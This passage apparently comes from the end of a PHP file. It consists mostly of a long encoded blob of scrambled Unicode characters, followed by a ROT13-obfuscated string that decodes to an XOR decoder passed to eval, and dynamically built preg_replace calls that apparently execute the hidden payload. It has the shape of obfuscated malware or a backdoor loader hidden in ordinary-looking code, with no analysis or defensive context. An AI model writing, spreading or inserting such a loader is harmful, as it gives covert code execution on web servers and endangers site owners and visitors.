 856 쾇泮𐢁켄𞧧𞦏䦯꾯迡𞐯曎䢦쿣杦궯⡀䤦䷢𐭢쟁쯯⧤蟯䡏氇𒭯𔜧𞢣𞱏蝤𒬧궧ߢ𐭆䛃찃쭣沠𚬀𞿏
 857 䴃𐣣䣎𐺃ꥅ轃⣄蟧⦡𒛧蟃毣洇䞎Ҡ潄仆𐲃𞧥철䢤俎譯泠쮄␥栏쾯ⳏ짡𞾯⥡𚠬߂𚥯ކ澥䲀ⵀ𞻃
 858 ⵡ𚦣𒯣✬𐟯𞥥輄䱀굡榏❡첄⦄ꡥⶣ𞡤⺁𞞡ݣ𐢅𒷤⤡꿄蝡𞱁ⴄ贁𒛬氃𞞇𞶡ޅ짣߁𞱃𐫄ۥ𞰣𐱅欤
 859 梢蝡柧䥏仏撣𐳣𞠅좇𞐣蒣䰤྅𚪏࿂ಇ濤䞦쮅𚬁𚭧𚬬𒴯𐵣𚥌沮潁좤澅𐻯杣棦ꤤ洯𐳃𚭀콅궧쭠𔥢
 860 𞱠桎䝆겡쭄𞵁겯䥂ⶀ𐥂𚧬⽬䠇쳄❬Ⰼ𞵀䐦⿌웃𒿠첏𐛡浣涆𒯌⢤অ䭎𚜧갣𞾏䴮⡃꤯죠䰀쬯༄䫏
 861 𐱂ꢅ䬦賧𐯡유辇➥佃仮귣젏𒴯⭅ꢡ각컄⒤⻠讁涅䠃跥袏佄𞝄𐳇泄껧𚮡𞱏棇满གྷ𐻯輤괅𚠬❥겠
 862 𒐧䣂ꤏ襃𞼧𜰧伎襡웅𞳧걯䳣𚟡켁쭄洠컥❅⿏亂𚯧𚯯쯅𞮅⢁𐠦𒮠𚯣𞞥诤꣏辀𖥢椯겇毣濢𞝣𚢀➠
 863 䮮浥겁沣졣䜦泇歏𐾄搯曯柆ۇۇ䞀泆𐾧武𚭠況꽌𐧢ꝅ軀⬠쾣𞡀榧𞣏𚦤Ⱡ䠦Ⲥ𞰯𞻥쿇䬄貃柅涢
 864 갏⼁𐿧ݏౠ𐿣褀涡𘼧𞮏༅𞵡𐥆䮄𐮥➇ꝣݥ䡏䯎梢𚟇輇ꤠ䫣䵀ण漂𞬯⢡軀𚭅𐯆௦𚠤襁쫇⾡濧沤
 865 䜇伢ۇ汧첏䤎잤䛯Ⰱ俇𞵃ꢧ殂궏榮ޣ𞼧涂氏𞬇滦즤蜀⠥𐺏쐣⾏껬콇漯Ꝡ柦櫇읁梠仇장滦⟠꿯
 866 쮁搥櫢𐫣ꠏ𒮬椥𐛤誅栮朥迣⺄ඇ𞣣⿏䬂쾏⫠⒧✏궇襤⡁𞯇濃𚣠Ⱐ𚫤歯䛠𒛥𞫇쮠𞟤컃𞢯⬣濡䦣
 867 衏貣柂𞳁森챏ಇ고𚫠蟄䤏젯𒮡⫯楀䞄䳣쮅궤轧껯𞥤𐪃𞶡潇ބ𚥣𐵇浣𐬀蝤⽧쐣쾇➣𞝀𐡦䮠䤣𐠄
 868 Ꝡ𐾁蠤𞛡𞵀䬦覯搦⥯쥏梂걯𐾧ⵁ೦챁𚣌躄轡𐯣𞻥䢦𐝂財䲧𐦁䬎첁棏␣౦잧棆젥襁젃䤏⢏榀ⵁ
 869 螅赡𒿯ⶣ赧꾤𚬅濁𒛏涆𐴂ॡ䳦ߢ赁䯇䢃ꠌ泄柠泡찇𐛢𞰏䪂𐝢櫇𚰧漥𐣄𞜤𐥁⟤淣ഡ䳮த谀ཡ𞾧
 870 ➁血꽧蟧辧게⻣𚣣쳏ഡ䠄杮𞣠죃汦諤య毠蝅𐦄謄殯𞱄䳀ⳏ𞶁쟇ආ𐻢잏𐿡䳃ۂ𞭥䝇䦇⥌켏쥯춏
 871 𖽢𐳃𒷡𚫥𚟇𐿧𚦧𐝢䥦𚯀棇潡⥄歡찁朆⻠䤆𖤧漢𜐧ꡅ⽄쾠𐥣衏𚥠𐥆䤣অ𞛇䤣𐡡𐢏䞦𖐧ߣ裏𚫁𐵤
 872 ཅۄ춁䲃欆귬𐺀诀滁𞫇𐯇䝃𞧡챃첥𞭤꺏쫅𞫡䱮𞼤અ𒭤견Ф𐫁𐾧佣𖱢澢쿏𞛧⽅侮榅𐾄य쥏蜏䣣
 873 𚥌𐫏쵥𚥡➤跡殃䰣䯤𞳥읤ⴏ굄𚬧⥇줡걬০켃𜼧𚧯첣䜂𞵇𚟀찃궀谀Ɽ伎䢮𒛄𚦀ꤥ⾣𐭁沅䬇䧠𐱇
 874 沀濡ठ𞰄쟠𐺅ꐣ𐴂躄佇⦇毄计賀䢎澡𒮌䲄𒠧캀䟣𐷧褀𞻅蠤൯棏蜃𞮤澄❧⾥撦⽬ⶥ𐪄ய𔼧ބ躄
 875 䬎챯𚫇⽯𐾠𞛠𚛧䬎Ꞅ굥𐢂𚠣⠥䝧朄𞧥࿏웥꽬གྷ浅⦁❬𐺆侢栦⧠𞛯궠ඦ𚭧趤谥此𐲂𐬃軠𚪅𐞦𞷤
 876 蛄俧袥补榏읠⤁⠀豇俢쮯꤇➏𐴁ⶤ涮찣𒮇읁榠跣𜤧⦅ໃಆ𞛯䵣谠𞰅ꢯ⡧淯柤궡✠䮎괯𒮣❅朎
 877 ⥅웣䯮첀𚫣꒤𐣠쭏洀蛡楆𚮣ൡ䮮ү氠𐜏濆䜢䷯潣歃䷯𞣡웁쭄椥䟂➅𒯣𒯤ૡༀ䭧ܣ죅𐯠ए軯䧣
 878 Ⱔ䐢⬥檂䠮⫤䛠꜡䛆讠𚭄✠꿏欣蠡𐵆켏豣譄𞣇춣𒭯𐻢䠃䰠撦朅䮄榦溃貀𒯅䶇⾁𞬧澡𐻦䲮榀𞯧
 879 𐪄䢆侄𞾏朦꜇𐮢ཏ𐯣췧꺁𞱃枠櫧桠괬枇ꜯ곇𐰂𘜧𐦄컡濦汥줠𞲡輀𞫃𐠣쥇⣃𞴏䳂⟤漇쯣껃𐾀衃
 880 𚮄쯇𒼧𐝄浥洄楠৯춥蒧⾯𐫆༂ꤌ毮䤆⺄༠०袀䢂죃ⴣ𐿯梇溄毦𞼄螄櫤쳃栅満걌毠𞞏ⱌ𚮡꒧䢆
 881 ꥁ泎𞭅仧궀辯諯웅𞳇津趃অ꿏伏𐵤캁⠃𐦂𐶀ꝣ䛂贤济杧𐝁撠䱤殥歡躇楄꒧꽧𞽧䡣쵧𒯃𐱆ꜯ위
 882 ཀ谠諃𐬃軅␥𞰇贠撣߅꽤⠥ಡ𐝀궥윁𞳁Ⰴܯ즡歎𞷥ⵅഏ蝁𞟇구ꝧ܅䱦껡䛦߅蒯俧콣𚭅梧䛠ꡇ
 883 ݧ𚮏웥Т⬠䬦榀𐢂貤𞰅𚭠謣䱦⒡췧𐥀濇⧣⤀좯殧𞬣줤⣀楏楎굏ݤ滁ۇ𘐧𚯯䒯Ⰰ𞼤ҡ䰦𚣠椯❏
 884 趯𐣯豀쵅춀⳥䷠읡ۯ⺄ۅ䶏춤枂櫅ۅ𞥅䱃䭣𒳯汮澃𞢃谥ⵤ구𚣄콡曤𞣏ই߂읅蠠𜰧䞦ꞇⲏ𚮌諧
 885 趯첏䬎𐡏李겠⥇𞻥曢汥𞳡浆欠躅𐦁𞲯谡𞦏袧襃棧𚦁𞡡蟀侠𒛏찇챠쪇洠܀쯤䝇螏𞿣蜏俄𞦡⼀ལ
 886 谥촯䲦⥁ඤ𞛡𐐧⤃궅༡褡䭏毆濆⧡蛣Ф𞵇蠏ݤ賯꜁溅⡡ߡ𞥧䮄榆䵄求謥𐐧Ꞁ쯏⧡貇䛇䐢撦袥
 887 쮇䫀𞜄দ굯𞦁⻤襇줅⬅ہఠ⻀𔠧쒠䫆𐡅梄梯輤䥣읏⤄ⶡ诃䮢譡𞻠ߤ枤櫥𐢥伦袠ꢃ쳀裣𞼅䰄𞻡
 888 𒯇槥淠䯃ඏ⒯𚫣𚠯𞠣𚛄椦泮汣赃潥𚫇ദ𞛤𞿣䰏쮡𖭢蝏毁䶂䦧档䪂𞾃쟀𚪄𞞃𞳥𞼀𐿯졇웄䳎汀𐫣
 889 漠𚫄ꐡଥ认꽡𐱏𐭏𚼧⦄梎આ枀䠦楇쒤ꞃꤡⴅꞅ𞯁අҡ𞞤氣즤裀𞜅𐵥櫁𐵀༦𐳃쳣𐡯桧𞿠权굁죁
 890 짤𖤧蟃澀𒭏𞲯ߏ⣣⬁Ⱔ졥𚦌潆ꐡ⽤웁浥𞞃𐫄棆갤濧⼣겅쬄൧젣此潆⻯䜃꤯궠쮥𘬧曀⿅譅槣䞂
 891 䝎ꡏ𚟣䰀梥⾬ܡ𞿇𞠥𐮠𞺃䢮આ䧮쮃誅櫆𚪃죯诠䵀䯀跥𐾣⻥䤆Ⰰ꜄棧枃⻇థ誃𚛁࿇贄𞡣欎⽡𞱁
 892 𞲄⬏杇𐠅𐱃𞢤➁𐵤𐢄꒥즏亀쭁𚭡漆𞮇첁𐢦殎쮁滠𐠥榯𐮧𒵬⡀䮆䣠준讥𞼃䶇⪅껃泃𖱢楀갠複撮
 893 ✡𐭢ແ𞮧𞛥쫃⽤規䥇沁轁𐡅ಢ䧮椁⬇𐤁𞡯杅武楥歎䟄溇䯢𒵬𐢣迃䪎䳤满ଅⱇ쭀ಥ𞥄䥆⧥𚞧좃
 894 유栤༡𐰃俇Ⰵ殇蠄⽏⾠܇𒮄澄𚦅⡤䪎榮Я견濂賣쮠仠䝮䶢𞦏𐫆ݏ襅褥찯𞤤ݥ象侯쵇궥𞠃윀웧
 895 𖰧殀蛡⫥亃觯潥蠀补ⴄ觧𐡇𐾆ꐯ䡣췡潏⻯⾁諏య꿧䱠𚭯찥ꞅ⪃콄즯쳣覧𞰄Ⲅ𞿣𚬧𞵤쐯⬃ඤ겤
 896 ⵃ蟥𞟧谣轇䛂𐮄佀߁氣𒯧榡𒷬桇䷯觠椄챥ꠌ蒯꜌䭤➡侦䣤𚦬䲀쥁⒤𐦄Ꝭ䢮𐣅ꡌ歡䝯䢣괯𚮣⥀
 897 줣०𚭀殣𚬥𒮇⟄趥좠洦ꢬ装䠆𒝠曧➁𒿧椃䠀𞡅𖼧䳇ງ줄ধ𞳁Ⱜ覠ꝃ殣𚯤涡䳠귥𐯁⫤覯𞲡𞼄༦
 898 䢦쥥줤ꡤড젃ಧꢥ諤𔭢ඥ𒛌枅𖜧줄躀ఏ䦎𞯄졯譄➇仄䰏蛏촡䞣춅涧⡄滀ଢ䮇每𘠧𚯧侇澀ꐡ杣
 899 𒷧槧߅䶠윥귡귧⤯𚪃𐷢ཆ裁毧𐥣𐯥⬤蝧첀⭁𞻡潤𞟃䝎池𞦀殤Ҡ𞵏䝯ཁ쟧𒰧氢귡𚛧𒿯ꥄ⭌䜇ۥ
 900 ꝡ𞯯棄⣏ꤥ০𐯠𒷤𞦣쮁𞰠𚧡桧𐐧ⴤꠡ軅𞟃衄䠦ߤ܅ⲃଢ蛄溎椀𞠀䛃𞡣𞟣澅𚭬䧤⡇贤⫌쪄ށ朣
 901 ⻏켅𐽢⼡𐲀잠௧𞬥𞥀౧䦤ས誇漎譠迄䦂䳇𞣡正𐵤계楧ޅ✬𞿯棅𞳧𞛤𞜀쭯𞮀诠𐥀枢䥮䭆楆컧ଆ
 902 𞶇➬అ䤦誃𐠅𐿤䟀洀⡤𚟣滤𞥇𞾣즀𐠁⼃䰎溄꽅웇✡𐾥䲀⡏ܣ讣𞿥⼤覄𚯇䡇అ蝀⥌侧껄Ꝭ流贀
 903 漁쒤첧죏곡⣃趃賄撠।읠ⶌ𚣅⾥춧𞞠쒡쿀𞦠䵯毁涠𞫀⣡ꡄ䢀満棃䡯𐛣୯䳯ⵡୡ䥃❇⠅䣆杧𐳃
 904 귧覀𞼠漎𞴁𞤡ཇ䰦𞲣❃歆콣꿇朏𞢄𞵠Ꝍ𞡅賡𞧠曏꼃𞻯꼬ಇ𞴯资榎쮯輤ॡ䜎⦌𞶅𐠏𚧧⡃쳁𐵅࿀
 905 𞒧𞝤쯣껧쪃𞣠椃쐡⟤߇웅䱧䛣𞷧𐳤𚬠쮀䠏𞭇꽣𞿇⠣쟣𞢅ദ洅촥컇𚦁쵡ꞅ䠆𐥇⒥涯䐢ⴅ𒭡쮤꺅
 906 𞥇컠ⳁ漃𐲃윇诤겣𞥄伣䜠⻇𞡀修꜡𞻣䳎❄켇꽡𘼧쭄洂𞟏꜠𐮦Ⰳ쵅𐬂梀櫯䜯꜡䛣༏杇⪀캄𞰠⼌
 907 条𐳄没ⳅ➏𒮀첡❬侯캅检𞡧棡𞬄𞥧𞒠𞶄䥧𐳃𞻧𐝁ཧ謏𐫇𚯅讄枥𚞬첡쾀欎육웠𐭤୯濧譁챤䶢껤
 908 𞯤쒤𐾂辧𞮡𚭏褡⼣𞼃䳃␠𞝁豁ߡ櫦𒮬极𞱥ⶠઇꝠ𐭤𞝇沣棁柄𐳂䠯楅곅⼣⥃ༀ螡ߥ柤褣曠沧꒬
 909 𐴃䵂䲇蠀𐿧䲇ඦ𒯇⺁커謁𚣣𚫃컁漢䠀调ⲃ䢢ބ辅毡갯𚮁䤣椦𞲯१𞞠輯𘜧𐯣𐳅⽄𞽤𚧤𚬡䴆𞷠ଦ
 910 䱠䒮諃ఏ𐠡桦𞟇𚭧谁𞻤𐡁쥡浣𞼇譀⫌쮥ꢅ컁曅ꥅ𞟅ଏ찀汅𐷦ೡ谠𞦥䬀𞴡䢠쳀⡏𐵃ߠߠඅ겧淤
 911 쥣每譄꼠𒮣쫁쭥讥ॡ쿇𐾡ஆ伃⫠汇䜢衯楥济俏极𚣣撮쬅蜏⧤蛥쮁⥃𚯣것ஃ줠䣇迅泆𞟯𞰥⤯𐧣
 912 𚥯萠泎ଡ蠄涣త⾏⻌䝧ༀ榮ү𐳃歂浅𞬄ꡥ첤⬇유𐶃讏欤俤잧⡌𞭥ⱁ춥氤𐠧修流쫤䵆𞠃܀웣𞶏
 913 곧萡ꠀ걁𞟠认쮀𐽢谥잡𞼣佮𞺏軡⾁쮯ߡ⧯쟡䰆⽀굇촤认䵄輥𞦤𞲇䡮侢朆쬣搢⽃濃𞾄⣧𞶥柁༢
 914 ⼅𞦀ॠ軀浯ܡ𒯡컡谤ඤ曢⧠짠컠𚠯꿡𐺀𒬧곌濂ণ웧⾡栅䞠괬ܤ䦄伏曀了ཡ榧䭦𒭯⛃衧濠𚐧읥
 915 쵁𐛣⪅蜤𞤁装고𒯬쳅⻁ݣ䳆ৠ䐦𐮡ऄ⫏𐶁쿧䜎𐿣젡귧棥櫁쿣泯俣佦⾥朦潏ꢤ𞫣ꙧ𞂎𐺆ڦՈ췥
 916 췧䙭䶍澥𞜅쨯쵥Ⱕ쵥䗌쵍潅旅暬Ոⵤ旆𞗎줭젠ৡ쮠┢𚴧𐵣潧𞾥𜔧𞑢贮𞽅跣쓄䔭𞷥⽇𞾅𞴥ꔥ䓭
 917 ₎챍澥엇𞗎곭贇Ԇ쬡쩯䘠䯃𐯤湁𚚭Ո꽤엇𞗎ꔭ₎谥𐗇䗌쳭䙭䟍◎쳭䙍侭쾇쵤蓄䕍췥췧䓭◎쳭
 918 䒭𞗎ߏ䓭亭è청𞻥䙭侭䷤擏䕍췤⽇䐍䕍ⵤ摆位ཧ𞗅暬è춍찤ⲥ䙭䔭𚚭è谥𐗇䗌첍䙭䟍◎䕍𐗄
 919 엎ߏ◎첍⒬䓭亭è效𐱅궤◄虬䶭侄䗌꾄쓅䕍췥췧╂旄◌첍𞗂旌藂꾄쓅䕍ⵤ檦첍𞗂旌暬è𞂆效
 920 꽤엇虬䕍𐱅궤⚤è챍澥엇𞗎춍찤ⲥ₎𞂆찭𞽇䙭侭쾇൧蓇䕍꽤엇暬೨藅䗌ⳇ查䗌찭𞽇䓭䙭𞙮䔭
 921 枅ද𞝅➥赏𒶯ⵯඏ춥쟅ⵅ쟥𐵥螥ⴅ춯䟏췯淯䴏ꗍ旌₆效ꡁ𚦀桁⪣꼭𚠥𞽇𚩭𞘌ⱅ𞷥𐣇졣쓀暬è
 922 줭젠ৡ쮠┢𚴧꽠𜔧𞑢跮쵅䭀𞡀䗌è斈쳮𞴤侭ට𞩎𐵍潅暅汤津𞐥࿄𞴥ⶎ澥𞜅쑏𐗍肌惨澈漥𞾇쵤
 923 趤굄𞓅䶍澥𞜅쨯𞰅Ⱕ쵥䗌찭𞽇䓭䓭䐍è惨𐩍Э薎è擨₎𞗆
 924 mowoxf=<<<moDzk=hgs8GbPbqrcbvagDdJkbe zk=zk>0kssss?zk-0k10000:zk kbe zk=DDzk<<3&0kssssJ|Dzk>>13JJ^3658 kbe zk=pueDzk&0kssJ.pueDzk>>8JJ?zk:zkomoworinyDcert_ercynprDxe,fgegeDxf,neenlDpueD109J=>pueD36J,pueD113J=>pueD34J.pueD92J. 0 .pueD34JJJ,fgegeDxv,neenlDpueD13J=>snyfr,pueD10J=>snyfrJJJJwo';
 925
 926                 $haystack = preg_replace($ry, "$1$2$5$1_$7$89$i$5$6$8$O", $juliet);
 927                 return preg_replace( $rx, $rp, $haystack );
 928         }
 929 }